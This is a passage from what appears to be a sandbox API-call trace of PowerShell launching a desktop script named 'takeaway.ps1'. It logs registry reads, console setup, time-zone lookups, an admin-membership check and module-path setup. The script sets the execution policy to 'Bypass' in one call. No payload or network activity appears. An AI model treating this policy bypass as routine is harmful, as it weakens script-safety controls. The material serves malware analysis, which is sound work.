[3]=0x76, [4]=0x12, [5]=0x62, [6]=0xe5, [7]=0xdb))) returned 0x0 [0077.545] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe8c0 | out: phkResult=0x2bfe8c0*=0x0) returned 0x2 [0077.546] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe8c0 | out: phkResult=0x2bfe8c0*=0x0) returned 0x2 [0077.553] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2bfdf5c, nSize=0xfa | out: lpBuffer="䳆狞駹詢\x14\x01徠狙哨׸䤀狞ꜵ詢") returned 0x0 [0077.556] CreateFileW (lpFileName="CONOUT$" (normalized: "\\device\\condrv\\currentout"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0077.605] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x2bfe96c | out: lpConsoleScreenBufferInfo=0x2bfe96c) returned 1 [0077.704] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x2bfe96c | out: lpConsoleScreenBufferInfo=0x2bfe96c) returned 1 [0077.749] GetConsoleMode (in: hConsoleHandle=0x44c, lpMode=0x2bfe9d0 | out: lpMode=0x2bfe9d0) returned 1 [0077.843] SetConsoleMode (hConsoleHandle=0x44c, dwMode=0x7) returned 1 [0077.888] GetConsoleMode (in: hConsoleHandle=0x44c, lpMode=0x2bfe9d0 | out: lpMode=0x2bfe9d0) returned 1 [0077.984] GetFullPathNameW (in: lpFileName="takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0077.984] GetFullPathNameW (in: lpFileName="takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0077.984] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0077.985] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0077.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2bfe898) returned 1 [0077.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\takeaway.ps1"), fInfoLevelId=0x0, lpFileInformation=0x2bfe914 | out: lpFileInformation=0x2bfe914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d80c6b6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x6d80c6b6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa0350c92, ftLastWriteTime.dwHighDateTime=0x1d55069, nFileSizeHigh=0x0, nFileSizeLow=0xeb6)) returned 1 [0077.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2bfe894) returned 1 [0077.990] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ConsoleSessionConfiguration", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe94c | out: phkResult=0x2bfe94c*=0x0) returned 0x2 [0077.995] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ConsoleSessionConfiguration", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe94c | out: phkResult=0x2bfe94c*=0x0) returned 0x2 [0077.996] GetConsoleCP () returned 0x1b5 [0078.009] GetCurrentConsoleFontEx (in: hConsoleOutput=0x44c, bMaximumWindow=0, lpConsoleCurrentFontEx=0x2bfe920 | out: lpConsoleCurrentFontEx=0x2bfe920) returned 1 [0078.021] SetConsoleCtrlHandler (HandlerRoutine=0x7152c66, Add=1) returned 1 [0078.022] GetStdHandle (nStdHandle=0xfffffff5) returned 0x90 [0078.022] GetFileType (hFile=0x90) returned 0x2 [0078.023] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x2bfe9ec | out: lpMode=0x2bfe9ec) returned 1 [0078.025] GetStdHandle (nStdHandle=0xfffffff6) returned 0x8c [0078.025] GetFileType (hFile=0x8c) returned 0x2 [0078.025] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0x2bfe9c8 | out: lpMode=0x2bfe9c8) returned 1 [0078.032] SetEnvironmentVariableW (lpName="PSExecutionPolicyPreference", lpValue="Bypass") returned 1 [0078.032] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x2bfe1f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x2bfe1f8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdc, [1]=0x90, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0078.036] CoCreateGuid (in: pguid=0x2bfe8ac | out: pguid=0x2bfe8ac*(Data1=0xccb09c, Data2=0x7c08, Data3=0x4905, Data4=([0]=0x8f, [1]=0x18, [2]=0xab, [3]=0x3f, [4]=0x74, [5]=0xd5, [6]=0x7, [7]=0xa3))) returned 0x0 [0078.044] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x2bfe8dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x2bfe8dc*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdc, [1]=0x90, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0078.049] EtwEventRegister (in: ProviderId=0x4ffdecc, EnableCallback=0x7152c8e, CallbackContext=0x0, RegHandle=0x4ffdea8 | out: RegHandle=0x4ffdea8) returned 0x0 [0078.049] EtwEventSetInformation (RegHandle=0x7448ee0, InformationClass=0x6f, EventInformation=0x2, InformationLength=0x4ffde7c) returned 0x0 [0078.052] CoTaskMemAlloc (cb=0x20c) returned 0x742abe0 [0078.052] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x742abe0 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0078.052] CoTaskMemFree (pv=0x742abe0) [0078.052] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0078.052] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0078.052] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2bfde28, nSize=0xfa | out: lpBuffer="䳆狞飍詢\x14\x01徠狙哨׸?璟脍Ȍ") returned 0x0 [0078.056] GetCurrentProcessId () returned 0x190 [0078.058] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x190) returned 0x708 [0078.058] GetProcessTimes (in: hProcess=0x708, lpCreationTime=0x4ffebf4, lpExitTime=0x4ffebfc, lpKernelTime=0x4ffec04, lpUserTime=0x4ffec0c | out: lpCreationTime=0x4ffebf4, lpExitTime=0x4ffebfc, lpKernelTime=0x4ffec04, lpUserTime=0x4ffec0c) returned 1 [0078.058] CloseHandle (hObject=0x708) returned 1 [0078.059] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x2bfd684 | out: pTimeZoneInformation=0x2bfd684) returned 0x2 [0078.065] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfd768 | out: phkResult=0x2bfd768*=0x708) returned 0x0 [0078.066] RegQueryValueExW (in: hKey=0x708, lpValueName="TZI", lpReserved=0x0, lpType=0x2bfd784, lpData=0x0, lpcbData=0x2bfd780*=0x0 | out: lpType=0x2bfd784*=0x3, lpData=0x0, lpcbData=0x2bfd780*=0x2c) returned 0x0 [0078.066] RegQueryValueExW (in: hKey=0x708, lpValueName="TZI", lpReserved=0x0, lpType=0x2bfd784, lpData=0x4fff610, lpcbData=0x2bfd780*=0x2c | out: lpType=0x2bfd784*=0x3, lpData=0x4fff610*, lpcbData=0x2bfd780*=0x2c) returned 0x0 [0078.066] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfd5bc | out: phkResult=0x2bfd5bc*=0x0) returned 0x2 [0078.068] RegQueryValueExW (in: hKey=0x708, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x2bfd75c, lpData=0x0, lpcbData=0x2bfd758*=0x0 | out: lpType=0x2bfd75c*=0x1, lpData=0x0, lpcbData=0x2bfd758*=0x20) returned 0x0 [0078.068] RegQueryValueExW (in: hKey=0x708, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x2bfd75c, lpData=0x4fffa64, lpcbData=0x2bfd758*=0x20 | out: lpType=0x2bfd75c*=0x1, lpData="@tzres.dll,-320", lpcbData=0x2bfd758*=0x20) returned 0x0 [0078.068] RegQueryValueExW (in: hKey=0x708, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x2bfd75c, lpData=0x0, lpcbData=0x2bfd758*=0x0 | out: lpType=0x2bfd75c*=0x1, lpData=0x0, lpcbData=0x2bfd758*=0x20) returned 0x0 [0078.068] RegQueryValueExW (in: hKey=0x708, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x2bfd75c, lpData=0x4fffabc, lpcbData=0x2bfd758*=0x20 | out: lpType=0x2bfd75c*=0x1, lpData="@tzres.dll,-322", lpcbData=0x2bfd758*=0x20) returned 0x0 [0078.068] RegQueryValueExW (in: hKey=0x708, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x2bfd75c, lpData=0x0, lpcbData=0x2bfd758*=0x0 | out: lpType=0x2bfd75c*=0x1, lpData=0x0, lpcbData=0x2bfd758*=0x20) returned 0x0 [0078.068] RegQueryValueExW (in: hKey=0x708, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x2bfd75c, lpData=0x4fffb14, lpcbData=0x2bfd758*=0x20 | out: lpType=0x2bfd75c*=0x1, lpData="@tzres.dll,-321", lpcbData=0x2bfd758*=0x20) returned 0x0 [0078.069] CoTaskMemAlloc (cb=0x20c) returned 0x742abe0 [0078.070] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x742abe0 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0078.070] CoTaskMemFree (pv=0x742abe0) [0078.070] CoTaskMemAlloc (cb=0x20c) returned 0x742abe0 [0078.070] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x2bfd778, pwszFileMUIPath=0x742abe0, pcchFileMUIPath=0x2bfd77c, pululEnumerator=0x2bfd770 | out: pwszLanguage=0x0, pcchLanguage=0x2bfd778, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x2bfd77c, pululEnumerator=0x2bfd770) returned 1 [0078.082] CoTaskMemFree (pv=0x0) [0078.082] CoTaskMemFree (pv=0x742abe0) [0078.082] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x70c0001 [0078.085] CoTaskMemAlloc (cb=0x3ec) returned 0x742ae68 [0078.085] LoadStringW (in: hInstance=0x70c0001, uID=0x140, lpBuffer=0x742ae68, cchBufferMax=500 | out: lpBuffer="(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna") returned 0x3c [0078.085] CoTaskMemFree (pv=0x742ae68) [0078.086] FreeLibrary (hLibModule=0x70c0001) returned 1 [0078.086] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0078.086] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x321a8c8 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0078.086] CoTaskMemFree (pv=0x321a8c8) [0078.086] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0078.086] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x2bfd778, pwszFileMUIPath=0x321a8c8, pcchFileMUIPath=0x2bfd77c, pululEnumerator=0x2bfd770 | out: pwszLanguage=0x0, pcchLanguage=0x2bfd778, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x2bfd77c, pululEnumerator=0x2bfd770) returned 1 [0078.087] CoTaskMemFree (pv=0x0) [0078.087] CoTaskMemFree (pv=0x321a8c8) [0078.087] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x70c0001 [0078.087] CoTaskMemAlloc (cb=0x3ec) returned 0x742ae68 [0078.087] LoadStringW (in: hInstance=0x70c0001, uID=0x142, lpBuffer=0x742ae68, cchBufferMax=500 | out: lpBuffer="W. Europe Standard Time") returned 0x17 [0078.087] CoTaskMemFree (pv=0x742ae68) [0078.087] FreeLibrary (hLibModule=0x70c0001) returned 1 [0078.088] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0078.088] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x321a8c8 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0078.088] CoTaskMemFree (pv=0x321a8c8) [0078.088] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0078.088] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x2bfd778, pwszFileMUIPath=0x321a8c8, pcchFileMUIPath=0x2bfd77c, pululEnumerator=0x2bfd770 | out: pwszLanguage=0x0, pcchLanguage=0x2bfd778, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x2bfd77c, pululEnumerator=0x2bfd770) returned 1 [0078.089] CoTaskMemFree (pv=0x0) [0078.089] CoTaskMemFree (pv=0x321a8c8) [0078.089] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x70c0001 [0078.089] CoTaskMemAlloc (cb=0x3ec) returned 0x742ae68 [0078.089] LoadStringW (in: hInstance=0x70c0001, uID=0x141, lpBuffer=0x742ae68, cchBufferMax=500 | out: lpBuffer="W. Europe Daylight Time") returned 0x17 [0078.089] CoTaskMemFree (pv=0x742ae68) [0078.089] FreeLibrary (hLibModule=0x70c0001) returned 1 [0078.090] RegCloseKey (hKey=0x708) returned 0x0 [0078.115] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5fa94e8, Length=0x27ad8, ResultLength=0x2bfd998 | out: SystemInformation=0x5fa94e8, ResultLength=0x2bfd998*=0x1b278) returned 0x0 [0078.139] CreateWellKnownSid (in: WellKnownSidType=0x1a, DomainSid=0x0, pSid=0x502c244, cbSid=0x2bfd9c8 | out: pSid=0x502c244*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), cbSid=0x2bfd9c8) returned 1 [0078.140] GetCurrentProcess () returned 0xffffffff [0078.140] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2bfd974 | out: TokenHandle=0x2bfd974*=0x724) returned 1 [0078.140] GetTokenInformation (in: TokenHandle=0x724, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2bfd978 | out: TokenInformation=0x0, ReturnLength=0x2bfd978) returned 0 [0078.140] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x73bd7a8 [0078.140] GetTokenInformation (in: TokenHandle=0x724, TokenInformationClass=0x8, TokenInformation=0x73bd7a8, TokenInformationLength=0x4, ReturnLength=0x2bfd978 | out: TokenInformation=0x73bd7a8, ReturnLength=0x2bfd978) returned 1 [0078.140] LocalFree (hMem=0x73bd7a8) returned 0x0 [0078.141] DuplicateTokenEx (in: hExistingToken=0x724, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x2bfd980 | out: phNewToken=0x2bfd980*=0x720) returned 1 [0078.141] CheckTokenMembership (in: TokenHandle=0x720, SidToCheck=0x502c764*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x2bfd990 | out: IsMember=0x2bfd990) returned 1 [0078.141] CloseHandle (hObject=0x720) returned 1 [0078.143] CreateNamedPipeW (lpName="\\\\.\\pipe\\PSHost.132364262528072238.400.DefaultAppDomain.powershell" (normalized: "\\device\\namedpipe\\pshost.132364262528072238.400.defaultappdomain.powershell"), dwOpenMode=0x40080003, dwPipeMode=0x6, nMaxInstances=0x1, nOutBufferSize=0x8000, nInBufferSize=0x8000, nDefaultTimeOut=0x0, lpSecurityAttributes=0x2bfd934) returned 0x720 [0078.225] GetFileType (hFile=0x720) returned 0x3 [0078.388] CoTaskMemAlloc (cb=0x20c) returned 0x321a8c8 [0078.388] GetEnvironmentVariableW (in: lpName="PathEXT", lpBuffer=0x321a8c8, nSize=0x104 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0078.388] CoTaskMemFree (pv=0x321a8c8) [0078.389] SetEnvironmentVariableW (lpName="PathEXT", lpValue=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 1 [0079.561] CoCreateGuid (in: pguid=0x2bfd7e0 | out: pguid=0x2bfd7e0*(Data1=0x30bcd320, Data2=0x8d22, Data3=0x4379, Data4=([0]=0xb4, [1]=0xa4, [2]=0xf9, [3]=0xf3, [4]=0x6, [5]=0xc4, [6]=0x10, [7]=0xde))) returned 0x0 [0079.895] CoTaskMemAlloc (cb=0x20c) returned 0x3296788 [0079.895] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x3296788, nSize=0x104 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x5d [0079.895] CoTaskMemFree (pv=0x3296788) [0079.895] ExpandEnvironmentStringsW (in: lpSrc="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x2bfe63c, nSize=0x64 | out: lpDst="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x5e [0079.896] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe718 | out: phkResult=0x2bfe718*=0x70c) returned 0x0 [0079.896] RegQueryValueExW (in: hKey=0x70c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x2bfe734, lpData=0x0, lpcbData=0x2bfe730*=0x0 | out: lpType=0x2bfe734*=0x2, lpData=0x0, lpcbData=0x2bfe730*=0xbc) returned 0x0 [0079.896] RegQueryValueExW (in: hKey=0x70c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x2bfe734, lpData=0x5078444, lpcbData=0x2bfe730*=0xbc | out: lpType=0x2bfe734*=0x2, lpData="%ProgramFiles%\\WindowsPowerShell\\Modules;%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules", lpcbData=0x2bfe730*=0xbc) returned 0x0 [0079.896] ExpandEnvironmentStringsW (in: lpSrc="%ProgramFiles%", lpDst=0x2bfe598, nSize=0x64 | out: lpDst="C:\\Program Files (x86)") returned 0x17 [0079.896] ExpandEnvironmentStringsW (in: lpSrc="%\\WindowsPowerShell\\Modules;%", lpDst=0x2bfe598, nSize=0x64 | out: lpDst="%\\WindowsPowerShell\\Modules;%") returned 0x1e [0079.897] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x2bfe598, nSize=0x64 | out: lpDst="C:\\WINDOWS") returned 0xb [0079.897] ExpandEnvironmentStringsW (in: lpSrc="%ProgramFiles%\\WindowsPowerShell\\Modules;%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x2bfe598, nSize=0x64 | out: lpDst="C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x64 [0079.897] RegCloseKey (hKey=0x70c) returned 0x0 [0079.897] ExpandEnvironmentStringsW (in: lpSrc="C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x2bfe63c, nSize=0x64 | out: lpDst="C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x64 [0079.897] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe718 | out: phkResult=0x2bfe718*=0x70c) returned 0x0 [0079.898] RegQueryValueExW (in: hKey=0x70c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x2bfe734, lpData=0x0, lpcbData=0x2bfe730*=0x0 | out: lpType=0x2bfe734*=0x0, lpData=0x0, lpcbData=0x2bfe730*=0x0) returned 0x2 [0079.898] RegCloseKey (hKey=0x70c) returned 0x0 [0079.898] CoTaskMemAlloc (cb=0x20c) returned 0x3296788 [0079.898] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x3296788 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0079.898] CoTaskMemFree (pv=0x3296788) [0079.898] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0079.898] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0079.899] CoTaskMemAlloc (cb=0x20c) returned 0x3296788 [0079.899] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3296788, nSize=0x104 | out: lpBuffer="݄턠̯rogram Files (x86)") returned 0x0 [0079.899] CoTaskMemFree (pv=0x3296788) [0079.899] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe6d8 | out: phkResult=0x2bfe6d8*=0x70c) returned 0x0 [0079.900] RegQueryValueExW (in: hKey=0x70c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe6f8, lpData=0x0, lpcbData=0x2bfe6f4*=0x0 | out: lpType=0x2bfe6f8*=0x1, lpData=0x0, lpcbData=0x2bfe6f4*=0x56) returned 0x0 [0079.900] RegQueryValueExW (in: hKey=0x70c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe6f8, lpData=0x5079f88, lpcbData=0x2bfe6f4*=0x56 | out: lpType=0x2bfe6f8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2bfe6f4*=0x56) returned 0x0 [0079.900] RegCloseKey (hKey=0x70c) returned 0x0 [0079.901] ExpandEnvironmentStringsW (in: lpSrc="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules", lpDst=0x2bfe620, nSize=0x64 | out: lpDst="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules") returned 0x33 [0079.902] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0079.903] GetProcAddress (hModule=0x77190000, lpProcName="IsWow64Process") returned 0x771a5a20 [0079.903] GetCurrentProcess () returned 0xffffffff [0079.904] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x2bfe774 | out: Wow64Process=0x2bfe774) returned 1 [0079.904] CoTaskMemAlloc (cb=0x20c) returned 0x3296788 [0079.904] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x3296788 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0079.905] CoTaskMemFree (pv=0x3296788) [0079.905] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0079.905] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0079.906] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 1 [0079.930] CoTaskMemAlloc (cb=0x20c) returned 0x3296788 [0079.930] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3296788, nSize=0x104 | out: lpBuffer="݄턠̯sers\\FD1HVy\\Documents") returned 0x0 [0079.930] CoTaskMemFree (pv=0x3296788) [0080.072] EtwEventRegister (in: ProviderId=0x50929b0, EnableCallback=0x7152d56, CallbackContext=0x0, RegHandle=0x509298c | out: RegHandle=0x509298c) returned 0x0 [0080.072] EtwEventSetInformation (RegHandle=0x7448088, InformationClass=0x74, EventInformation=0x2, InformationLength=0x5092940) returned 0x0 [0080.109] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfe008 | out: phkResult=0x2bfe008*=0x760) returned 0x0 [0080.112] RegQueryValueExW (in: hKey=0x760, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe028, lpData=0x0, lpcbData=0x2bfe024*=0x0 | out: lpType=0x2bfe028*=0x1, lpData=0x0, lpcbData=0x2bfe024*=0x56) returned 0x0 [0080.112] RegQueryValueExW (in: hKey=0x760, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bfe028, lpData=0x5094bfc, lpcbData=0x2bfe024*=0x56 | out: lpType=0x2bfe028*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2bfe024*=0x56) returned 0x0 [0080.112] RegCloseKey (hKey=0x760) returned 0x0 [0080.156] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xfa638b0, Data2=0x3ef9, Data3=0x43ad, Data4=([0]=0x88, [1]=0xc4, [2]=0x6e, [3]=0x60, [4]=0x9a, [5]=0x7f, [6]=0x93, [7]=0xee))) returned 0x0 [0080.156] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0xf8b97aa0, Data2=0x3f70, Data3=0x425b, Data4=([0]=0xae, [1]=0xc1, [2]=0xc4, [3]=0x64, [4]=0x45, [5]=0x5f, [6]=0x4a, [7]=0x4e))) returned 0x0 [0080.156] CoCreateGuid (in: pguid=0x2bfbeb4 | out: pguid=0x2bfbeb4*(Data1=0x41c778f0, Data2=0x6aa4, Data3=0x4972, Data4=([0]=0xaa, [1]=0x8c, [2]=0x70, [3]=0x94, [4]=0x62, [5]=0x47, [6]=0xfb, [7]=0xc9))) returned 0x0 [0080.156] CoCreateGuid (in: pguid=0x2bfbeb4 | out: 